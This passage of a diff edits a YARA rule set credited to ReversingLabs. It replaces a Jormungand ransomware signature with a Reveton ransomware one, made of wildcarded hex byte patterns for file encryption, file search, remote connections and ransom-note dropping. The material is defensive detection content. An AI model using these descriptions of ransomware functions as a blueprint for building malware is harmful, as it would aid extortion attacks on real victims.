-            ?? 85 C0 0F 85 ?? ?? ?? ?? 31 C0 EB ?? 8B 4C 24 ?? 8B 54 24 ?? 8D 04 0A 89 44 24 ??
-            8B 4C 24 ?? 89 0C 24 8B 94 24 ?? ?? ?? ?? 89 54 24 ?? 8B 5C 24 ?? 89 5C 24 ?? 8B 6C
-            24 ?? 89 6C 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 8B 4C 24 ?? 89 4C 24 ?? 8B
-            54 24 ?? 89 54 24 ?? 85 C9 74 ?? 8B 1D ?? ?? ?? ?? 39 D9 0F 85 ?? ?? ?? ?? 89 0C 24
-        }
-		$encrypt_files_p3 = {
-            89 54 24 ?? 8B 05 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 0F B6 44 24 ?? 84 C0 0F 84
-            ?? ?? ?? ?? 8D 05 ?? ?? ?? ?? 89 04 24 8B 4C 24 ?? 89 4C 24 ?? 89 4C 24 ?? E8 ?? ??
-            ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 8B 5C 24 ?? 8B 6C 24 ?? 39 EB 0F 87 ?? ??
-            ?? ?? 89 44 24 ?? 89 4C 24 ?? 89 54 24 ?? 8B 74 24 ?? 8B 7E ?? 89 44 24 ?? 89 4C 24
-            ?? 89 54 24 ?? 8B B4 24 ?? ?? ?? ?? 89 74 24 ?? 89 5C 24 ?? 89 6C 24 ?? 8B 6C 24 ??
-            89 2C 24 FF D7 8B 44 24 ?? 8B 48 ?? 8B 54 24 ?? 89 54 24 ?? 8B 5C 24 ?? 89 5C 24 ??
-            8B 6C 24 ?? 89 6C 24 ?? 8B 74 24 ?? 89 34 24 FF D1 8B 44 24 ?? 89 04 24 8B 4C 24 ??
-            89 4C 24 ?? 8B 4C 24 ?? 89 4C 24 ?? 8B 4C 24 ?? 89 4C 24 ?? E8 ?? ?? ?? ?? 8B 44 24
-            ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 8B 4C 24 ?? 39 C1 0F 85 ?? ?? ?? ?? 89
-            0C 24 8B 44 24 ?? 89 44 24 ?? 8B 05 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 0F B6 44
-            24 ?? 84 C0 0F 84 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 04 24 8B 44 24 ?? 89 44 24 ??
-            C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 04 24
-            C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 8B 44 24 ?? B9 ?? ?? ?? ?? F7 E9 8B 44 24 ?? 01 C2 C1 F8 ?? C1 FA ?? 29 C2 89 D0
-            89 D3 F7 E9 8D 04 13 C1 F8 ?? C1 FB ?? 29 D8 83 C0 ?? 89 44 24 ?? 31 C9 EB ?? 8B 54
-            24 ?? 8D 4A ?? 8B 44 24 ?? 39 C1 7D ?? 89 4C 24 ?? 8B 44 24 ?? 89 04 24 8D 0D ?? ??
-            ?? ?? 89 4C 24 ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 85 C0 74 ?? 90
-            E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 90
+            83 C4 ?? 33 FF 8D 45 ?? 8D 50 ?? 90 8A 08 40 84 C9 75 ?? 2B C2 74 ?? EB ?? 8D 49 ??
+            0F BE 44 3D ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 88 44 3D ?? 47 8D 45 ?? 8D 50 ?? 8D A4 24
+            ?? ?? ?? ?? 8A 08 40 84 C9 75 ?? 2B C2 3B F8 72 ?? 8D 4D ?? 51 68 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8A 10 3A
+            11 75 ?? 84 D2 74 ?? 8A 50 ?? 3A 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 84 D2 75 ?? 33 C0 EB
+            ?? 1B C0 83 D8 ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8D 95 ?? ?? ?? ?? 52
+            E8 ?? ?? ?? ?? 83 C4 ?? 8B C6 8D 50 ?? 8D A4 24 ?? ?? ?? ?? 8A 08 40 84 C9 75 ?? 2B
+            C2 80 7C 30 ?? ?? 74 ?? 8B C6 8D 50 ?? 8A 08 40 84 C9 75 ?? 2B C2 80 7C 30 ?? ?? 74
+            ?? 8D 85 ?? ?? ?? ?? 50 56 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 EB ?? 8D 95 ?? ?? ??
+            ?? 52 56 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ??
+            ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 50 E8
+            ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? 8B BD ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4
+            ?? 68 ?? ?? ?? ?? 6A ?? 8B 9D ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 53 57 8B 55 ??
+            52 8D BD ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ??
+            E9 ?? ?? ?? ?? B8 ?? ?? ?? ?? C3 8B 65 ?? C7 45 ?? ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? E9
+            ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B C6 8D 50 ?? 8B FF
         }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*)) and ( all of ($remote_connection_p*))
+		uint16(0)==0x5A4D and ( all of ($drop_ransom_note_p*)) and ( all of ($find_files_p*))
 }
-rule REVERSINGLABS_Win32_Ransomware_Jormungand : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Reveton : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Jormungand ransomware."
+		description = "Yara rule that detects Reveton ransomware."
 		author = "ReversingLabs"
-		id = "418c3d9f-2338-593f-a8ec-a1e25afa50d4"
-		date = "2021-10-22"
-		modified = "2021-10-22"
+		id = "14446b94-cd57-5930-b0af-b21091b61f68"
+		date = "2020-07-15"
+		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Jormungand.yara#L1-L135"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "049eb4533b37d8d72e50dd1e803a897758386643770d47b3e7690f58e44d5236"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Reveton.yara#L1-L118"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "2d316c558cdb5591788ef89c6e20327882a118f2928f4a31fb5b8b3083931ac5"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -32112,122 +33819,111 @@ rule REVERSINGLABS_Win32_Ransomware_Jormungand : TC_DETECTION MALICIOUS MALWARE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Jormungand"
+		tc_detection_name = "Reveton"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$drop_ransom_note = {
-            64 8B 0D ?? ?? ?? ?? 8B 89 ?? ?? ?? ?? 8D 44 24 ?? 3B 41 ?? 0F 86 ?? ?? ?? ?? 81 EC
-            ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 89 04 24 8B 84 24 ?? ?? ?? ?? 89 44 24 ?? 8B 84 24 ??
-            ?? ?? ?? 89 44 24 ?? 8B 84 24 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89
-            84 24 ?? ?? ?? ?? 8B 4C 24 ?? 89 4C 24 ?? 8D 54 24 ?? 89 14 24 8B 94 24 ?? ?? ?? ??
-            89 54 24 ?? 8B 94 24 ?? ?? ?? ?? 89 54 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ??
-            8B 54 24 ?? 8B 9C 24 ?? ?? ?? ?? 89 1C 24 8B 9C 24 ?? ?? ?? ?? 89 5C 24 ?? 89 44 24
-            ?? 89 4C 24 ?? 89 54 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 84 24 ?? ?? ?? ?? 8B 4C 24
-            ?? 89 4C 24 ?? 8B 54 24 ?? 89 54 24 ?? C7 04 24 ?? ?? ?? ?? 8B 9C 24 ?? ?? ?? ?? 89
-            5C 24 ?? 8B 9C 24 ?? ?? ?? ?? 89 5C 24 ?? 8D 1D ?? ?? ?? ?? 89 5C 24 ?? C7 44 24 ??
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 89 04 24 89 4C 24 ?? C7 44 24 ??
-            ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 84 24 ?? ?? ?? ??
-            8D 4C 24 ?? 89 0C 24 8B 8C 24 ?? ?? ?? ?? 89 4C 24 ?? 8B 4C 24 ?? 89 4C 24 ?? 8B 4C
-            24 ?? 89 4C 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 89 44 24 ?? 89 4C 24 ?? 8D
-            44 24 ?? 89 04 24 8B 84 24 ?? ?? ?? ?? 89 44 24 ?? 8B 44 24 ?? 89 44 24 ?? E8 ?? ??
-            ?? ?? 8B 44 24 ?? 8B 4C 24 ?? C7 04 24 ?? ?? ?? ?? 89 44 24 ?? 89 4C 24 ?? E8 ?? ??
-            ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 8B 9C 24 ?? ?? ?? ?? 89 1C 24 89 44 24 ??
-            89 4C 24 ?? 89 54 24 ?? E8 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ??
-            81 C4 ?? ?? ?? ?? C3 E8
+		$http_connection_1 = {
+            C6 45 ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ??
+            ?? 0F 84 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 8B C3 E8 ?? ?? ?? ?? 50 8B 45
+            ?? 50 E8 ?? ?? ?? ?? 8B D8 85 DB 74 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 33 C0
+            55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8B 06 E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 45 ?? 50 68
+            ?? ?? ?? ?? 8B 45 ?? 50 53 E8 ?? ?? ?? ?? 8B 55 ?? 8B 06 8B 4D ?? E8 ?? ?? ?? ?? 83
+            7D ?? ?? 75 ?? 53 E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8B 45 ?? E8
+            ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 8B 45 ?? 50 E8
         }
-		$encrypt_files_aes = {
-            64 8B 0D ?? ?? ?? ?? 8B 89 ?? ?? ?? ?? 3B 61 ?? 0F 86 ?? ?? ?? ?? 83 EC ?? 8B 44 24
-            ?? 89 04 24 8B 44 24 ?? 89 44 24 ?? 8B 44 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24
-            ?? 8B 4C 24 ?? 8B 54 24 ?? 8B 5C 24 ?? 85 D2 74 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24
-            ?? ?? ?? ?? ?? 89 54 24 ?? 89 5C 24 ?? 83 C4 ?? C3 89 44 24 ?? 89 4C 24 ?? 8B 50 ??
-            89 0C 24 FF D2 8B 44 24 ?? 8B 4C 24 ?? 89 0C 24 8B 4C 24 ?? 89 4C 24 ?? 8B 4C 24 ??
-            89 4C 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 8B 4C 24 ?? 89 4C 24
-            ?? 8B 54 24 ?? 89 54 24 ?? C7 04 24 ?? ?? ?? ?? 8D 1D ?? ?? ?? ?? 89 5C 24 ?? C7 44
-            24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 8B 5C 24 ?? 89
-            1C 24 8B 5C 24 ?? 89 5C 24 ?? 89 44 24 ?? 89 4C 24 ?? 89 54 24 ?? E8 ?? ?? ?? ?? 8B
-            44 24 ?? 89 44 24 ?? 8B 4C 24 ?? 89 4C 24 ?? 8D 15 ?? ?? ?? ?? 89 14 24 8B 54 24 ??
-            89 54 24 ?? 89 54 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 8B 4C 24 ?? 89 4C 24
-            ?? 8B 54 24 ?? 89 54 24 ?? 8B 5C 24 ?? 8B 5B ?? 89 44 24 ?? 89 4C 24 ?? 89 54 24 ??
-            8B 6C 24 ?? 89 6C 24 ?? 8B 6C 24 ?? 89 6C 24 ?? 8B 6C 24 ?? 89 6C 24 ?? 8B 6C 24 ??
-            89 2C 24 FF D3 8B 05 ?? ?? ?? ?? 89 04 24 8B 44 24 ?? 89 44 24 ?? 8B 44 24 ?? 89 44
-            24 ?? 8B 44 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 89 44 24 ?? 89
-            4C 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 83 C4 ?? C3 E8
+		$raw_socket_connection_1_1 = {
+            55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 33 C9 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 4D
+            ?? 89 55 ?? 8B F0 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 DB 8D 45 ?? BA ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ??
+            ?? ?? 8D 85 ?? ?? ?? ?? 50 56 E8 ?? ?? ?? ?? 8B F8 85 FF 0F 8E ?? ?? ?? ?? 8D 85 ??
+            ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B CF E8
+            ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8
         }
-		$encrypt_files_rsa = {
-            64 8B 0D ?? ?? ?? ?? 8B 89 ?? ?? ?? ?? 3B 61 ?? 0F 86 ?? ?? ?? ?? 83 EC ?? C7 04 24
-            ?? ?? ?? ?? 8D 05 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B
-            44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 89 14 24 89 4C 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B
-            44 24 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 48 ?? 8B 50 ?? 8B 40 ?? 89 0C 24 89 54 24 ?? 89
-            44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 8B 5C 24 ?? 85 D2 75 ??
-            8D 15 ?? ?? ?? ?? 39 D0 0F 85 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 89 04
-            24 89 54 24 ?? 89 4C 24 ?? 8B 44 24 ?? 89 44 24 ?? 8B 44 24 ?? 89 44 24 ?? 8B 44 24
-            ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 8B 5C 24 ?? 8B 6C
-            24 ?? 89 44 24 ?? 89 4C 24 ?? 89 54 24 ?? 89 5C 24 ?? 89 6C 24 ?? 83 C4 ?? C3 C7 44
-            24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 54 24 ?? 89 5C
-            24 ?? 83 C4 ?? C3 8D 05 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 44 24 ?? C7 40 ?? ??
-            ?? ?? ?? 8B 0D ?? ?? ?? ?? 85 C9 75 ?? 8D 0D ?? ?? ?? ?? 89 08 C7 44 24 ?? ?? ?? ??
-            ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 0D ?? ?? ?? ?? 89 4C 24 ?? 89
-            44 24 ?? 83 C4 ?? C3 89 44 24 ?? 89 04 24 8D 0D ?? ?? ?? ?? 89 4C 24 ?? E8 ?? ?? ??
-            ?? 8B 44 24 ?? EB ?? 89 04 24 89 54 24 ?? 8D 05 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ??
-            ?? 0F 0B
+		$raw_socket_connection_1_2 = {
+            C6 85 ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 80 BD ?? ?? ??
+            ?? ?? 74 ?? 33 C0 EB ?? B0 ?? 84 C0 75 ?? C6 85 ?? ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ??
+            ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B C6 E8 ?? ?? ?? ?? E9
+            ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? FE C8 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 66 C7 85 ?? ?? ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? FE C8 74 ?? 2C ?? 74
+            ?? E9 ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 88 85 ?? ??
+            ?? ?? 8A 85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 8A 95
+            ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? E8
         }
-		$find_files = {
-            64 8B 0D ?? ?? ?? ?? 8B 89 ?? ?? ?? ?? 3B 61 ?? 0F 86 ?? ?? ?? ?? 83 EC ?? C7 44 24
-            ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ??
-            ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 8D 05 ?? ??
-            ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 44 24 ?? 89 04 24 8B 44 24 ?? 89 44
-            24 ?? 8D 05 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 8B 0D ?? ?? ??
-            ?? 8B 15 ?? ?? ?? ?? 89 44 24 ?? 89 4C 24 ?? 89 54 24 ?? 8B 05 ?? ?? ?? ?? 8B 0D ??
-            ?? ?? ?? 8B 15 ?? ?? ?? ?? 89 44 24 ?? 89 4C 24 ?? 89 54 24 ?? 90 E8 ?? ?? ?? ?? 83
-            C4 ?? C3 90 E8 ?? ?? ?? ?? 83 C4 ?? C3 E8
+		$raw_socket_connection_1_3 = {
+            66 89 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 0F B6 BD ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85
+            ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B CF
+            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 85
+            C0 75 ?? C6 85 ?? ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B C6 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 40 ?? 8B 00 8B 00
+            89 85 ?? ?? ?? ?? 8A 94 3D ?? ?? ?? ?? 8A 84 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 89 85
+            ?? ?? ?? ?? EB ?? C6 85 ?? ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9
+            ?? ?? ?? ?? E8
         }
-		$remote_connection_p1 = {
-            64 8B 0D ?? ?? ?? ?? 8B 89 ?? ?? ?? ?? 3B 61 ?? 0F 86 ?? ?? ?? ?? 83 EC ?? C7 04 24
-            ?? ?? ?? ?? 8D 05 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D
-            05 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? C7 40 ?? ?? ?? ?? ??
-            8D 0D ?? ?? ?? ?? 89 0C 24 E8 ?? ?? ?? ?? 8B 44 24 ?? C6 40 ?? ?? 8B 0D ?? ?? ?? ??
-            8B 54 24 ?? 8D 5A ?? 85 C9 0F 85 ?? ?? ?? ?? 89 42 ?? 8D 05 ?? ?? ?? ?? 89 04 24 E8
-            ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? C7 40 ?? ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 8D 0D
-            ?? ?? ?? ?? 89 08 8B 0D ?? ?? ?? ?? 8D 50 ?? 85 C9 0F 85 ?? ?? ?? ?? 8B 4C 24 ?? 89
-            48 ?? C7 04 24 ?? ?? ?? ?? 8D 05 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8B
-            44 24 ?? 89 44 24 ?? 8B 44 24 ?? 89 44 24 ?? 8D 05 ?? ?? ?? ?? 89 44 24 ?? C7 44 24
-            ?? ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 8B 44 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44
-            24 ?? 89 44 24 ?? 8B 4C 24 ?? 89 4C 24 ?? 8D 15 ?? ?? ?? ?? 89 14 24 E8 ?? ?? ?? ??
-            8B 44 24 ?? 89 44 24 ?? 8B 4C 24 ?? 89 48 ?? 8B 0D ?? ?? ?? ?? 85 C9 0F 85 ?? ?? ??
-            ?? 8B 4C 24 ?? 89 08 C7 40 ?? ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? C7 40
+		$raw_socket_connection_1_4 = {
+            8B 55 ?? 8B C6 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 8B
+            00 50 E8 ?? ?? ?? ?? 40 75 ?? C6 85 ?? ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 95 ??
+            ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B C6 E8 ?? ?? ?? ?? 8B 45 ?? 8B 00
+            50 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C7
+            45 ?? ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 8B 00 50 E8
         }
-		$remote_connection_p2 = {
-            C7 04 24 ?? ?? ?? ?? 8D 0D ?? ?? ?? ?? 89 4C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8B 4C 24
-            ?? 89 4C 24 ?? 8B 4C 24 ?? 89 4C 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 89 4C
-            24 ?? 89 44 24 ?? 8D 05 ?? ?? ?? ?? 89 04 24 C7 44 24 ?? ?? ?? ?? ?? 8D 05 ?? ?? ??
-            ?? 89 44 24 ?? 8B 44 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 8B 4C
-            24 ?? 8B 54 24 ?? 89 0C 24 89 54 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 04 24 8B 44 24
-            ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 89 0C
-            24 89 54 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 85 C0 75 ?? 90 E8 ?? ?? ?? ?? 83 C4 ?? C3
-            8B 48 ?? 84 01 8B 40 ?? 89 44 24 ?? C7 04 24 ?? ?? ?? ?? 8D 41 ?? 89 44 24 ?? E8 ??
-            ?? ?? ?? 85 C0 75 ?? EB ?? 90 E8 ?? ?? ?? ?? 83 C4 ?? C3 89 04 24 8B 4C 24 ?? 89 4C
-            24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? E9 ?? ?? ?? ?? 89 14 24 8B 44 24 ?? 89 44 24 ?? E8
-            ?? ?? ?? ?? E9 ?? ?? ?? ?? 89 1C 24 89 44 24 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 90 E8
-            ?? ?? ?? ?? 83 C4 ?? C3 E8
+		$raw_socket_connection_1_5 = {
+            C6 85 ?? ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 88 85 ??
+            ?? ?? ?? 8A 85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 66
+            8B 85 ?? ?? ?? ?? 8B D0 66 81 E2 ?? ?? 88 95 ?? ?? ?? ?? 0F B7 C0 C1 E8 ?? 88 85 ??
+            ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8D 85 ??
+            ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 56 E8 ?? ??
+            ?? ?? 40 74 ?? B3 ?? EB ?? C6 85 ?? ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 95 ?? ??
+            ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B C6 E8 ?? ?? ?? ?? 33 C0 5A 59 59 64
+            89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ??
+            ?? ?? ?? C3
+        }
+		$file_search_1_1 = {
+            55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 89 55 ?? 89 45 ?? 8B 45 ?? 89 45 ?? 68 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 89 C3 85 DB 74
+            ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 50 FF D3 85 C0 74 ?? 8B 45 ?? 50 8D
+            85 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 45 ?? 80 38 ?? 75 ??
+            8B 45 ?? 80 78 ?? ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 83 C0 ?? E8
+        }
+		$file_search_1_2 = {
+            8B F0 80 3E ?? 0F 84 ?? ?? ?? ?? 8D 46 ?? E8 ?? ?? ?? ?? 8B F0 80 3E ?? 0F 84 ?? ??
+            ?? ?? EB ?? 8B 75 ?? 83 C6 ?? 8B DE 2B 5D ?? 8D 43 ?? 50 8B 45 ?? 50 8D 85 ?? ?? ??
+            ?? 50 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 46 ?? E8 ?? ?? ?? ?? 8B F8 8B C7 2B C6 8B D0
+            03 D3 42 81 FA ?? ?? ?? ?? 0F 8F ?? ?? ?? ?? 40 50 56 8D 85 ?? ?? ?? ?? 03 C3 50 E8
+            ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8
+        }
+		$file_search_1_3 = {
+            8B F0 83 FE ?? 74 ?? 56 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 53 ??
